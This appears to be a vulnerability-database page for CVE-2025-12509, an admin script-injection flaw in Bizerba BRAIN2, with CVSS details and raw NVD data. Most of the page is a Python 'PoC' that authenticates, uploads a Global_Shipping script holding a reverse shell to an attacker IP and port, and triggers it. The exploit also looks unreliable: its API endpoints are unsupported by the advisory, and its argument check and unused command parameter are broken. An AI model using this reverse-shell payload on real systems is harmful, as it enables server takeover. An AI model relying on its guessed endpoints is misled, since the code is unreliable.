Security Vulnerability Report
中文
CVE-2025-12509 CVSS 8.4 HIGH

CVE-2025-12509

Published: 2025-10-31 16:15:40
Last Modified: 2026-04-15 00:35:42
Source: 0beee27a-7d8c-424f-8e46-ac453fa147e6

Description

On a client with an admin user, a Global_Shipping script can be implemented. The script could later be executed on the BRAIN2 server with administrator rights.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

BIZERBA BRAIN2 < 2025-10-31安全更新版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-12509 PoC - BIZERBA BRAIN2 Global_Shipping Script Injection Note: This PoC is for educational and authorized security testing purposes only. """ import requests import json import base64 import sys class BRAIN2_Exploit: def __init__(self, target_url, username, password): self.target_url = target_url.rstrip('/') self.username = username self.password = password self.session = requests.Session() self.token = None def authenticate(self): """Authenticate with BRAIN2 admin credentials""" login_url = f"{self.target_url}/api/auth/login" payload = { "username": self.username, "password": self.password } try: response = self.session.post(login_url, json=payload, timeout=30) if response.status_code == 200: data = response.json() self.token = data.get('token') print(f"[+] Authentication successful") return True else: print(f"[-] Authentication failed: {response.status_code}") return False except Exception as e: print(f"[-] Connection error: {e}") return False def create_malicious_script(self, cmd): """Generate malicious Global_Shipping script with reverse shell""" # Malicious script payload - reverse shell command script_content = f""" import os import socket import subprocess def execute_shipping_task(): # Malicious code injected via CVE-2025-12509 HOST = '{self.get_config()["attacker_ip"]}' PORT = {self.get_config()["attacker_port"]} s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) # Receive and execute commands while True: cmd = s.recv(1024).decode() if cmd.strip() == 'exit': break result = subprocess.run(cmd, shell=True, capture_output=True, text=True) s.send(result.stdout.encode() + result.stderr.encode()) s.close() if __name__ == '__main__': execute_shipping_task() """ return base64.b64encode(script_content.encode()).decode() def get_config(self): """Placeholder for attacker configuration""" return { "attacker_ip": "192.168.1.100", "attacker_port": 4444 } def upload_malicious_script(self): """Upload malicious script via Global_Shipping module""" upload_url = f"{self.target_url}/api/global-shipping/scripts" headers = { "Authorization": f"Bearer {self.token}", "Content-Type": "application/json" } payload = { "name": "shipping_update.py", "type": "global_shipping", "content": self.create_malicious_script("whoami"), "enabled": True } try: response = self.session.post(upload_url, json=payload, headers=headers) if response.status_code in [200, 201]: print(f"[+] Malicious script uploaded successfully") return True else: print(f"[-] Script upload failed: {response.status_code}") return False except Exception as e: print(f"[-] Upload error: {e}") return False def trigger_execution(self): """Trigger script execution via shipping task""" trigger_url = f"{self.target_url}/api/global-shipping/execute" headers = { "Authorization": f"Bearer {self.token}", "Content-Type": "application/json" } payload = { "script_name": "shipping_update.py", "task_id": "auto_trigger" } try: response = self.session.post(trigger_url, json=payload, headers=headers) if response.status_code == 200: print(f"[+] Script execution triggered") return True else: print(f"[-] Trigger failed: {response.status_code}") return False except Exception as e: print(f"[-] Trigger error: {e}") return False def exploit(self): """Execute full exploitation chain""" print(f"[*] Starting CVE-2025-12509 exploitation...") print(f"[*] Target: {self.target_url}") if not self.authenticate(): return False if not self.upload_malicious_script(): return False if not self.trigger_execution(): return False print(f"[+] Exploitation complete - check your listener") return True if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <username> <password>") print(f"Example: {sys.argv[0]} https://brain2.local admin password") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit = BRAIN2_Exploit(target, user, pwd) exploit.exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12509", "sourceIdentifier": "0beee27a-7d8c-424f-8e46-ac453fa147e6", "published": "2025-10-31T16:15:39.750", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "On a client with an admin user, a Global_Shipping script can be implemented. The script could later be executed on the BRAIN2 server with administrator rights."}], "metrics": {"cvssMetricV31": [{"source": "0beee27a-7d8c-424f-8e46-ac453fa147e6", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.7, "impactScore": 6.0}]}, "weaknesses": [{"source": "0beee27a-7d8c-424f-8e46-ac453fa147e6", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-829"}]}], "references": [{"url": "https://www.bizerba.com/downloads/global/information-security/2025/bizerba-sa-2025-0007.pdf", "source": "0beee27a-7d8c-424f-8e46-ac453fa147e6"}]}}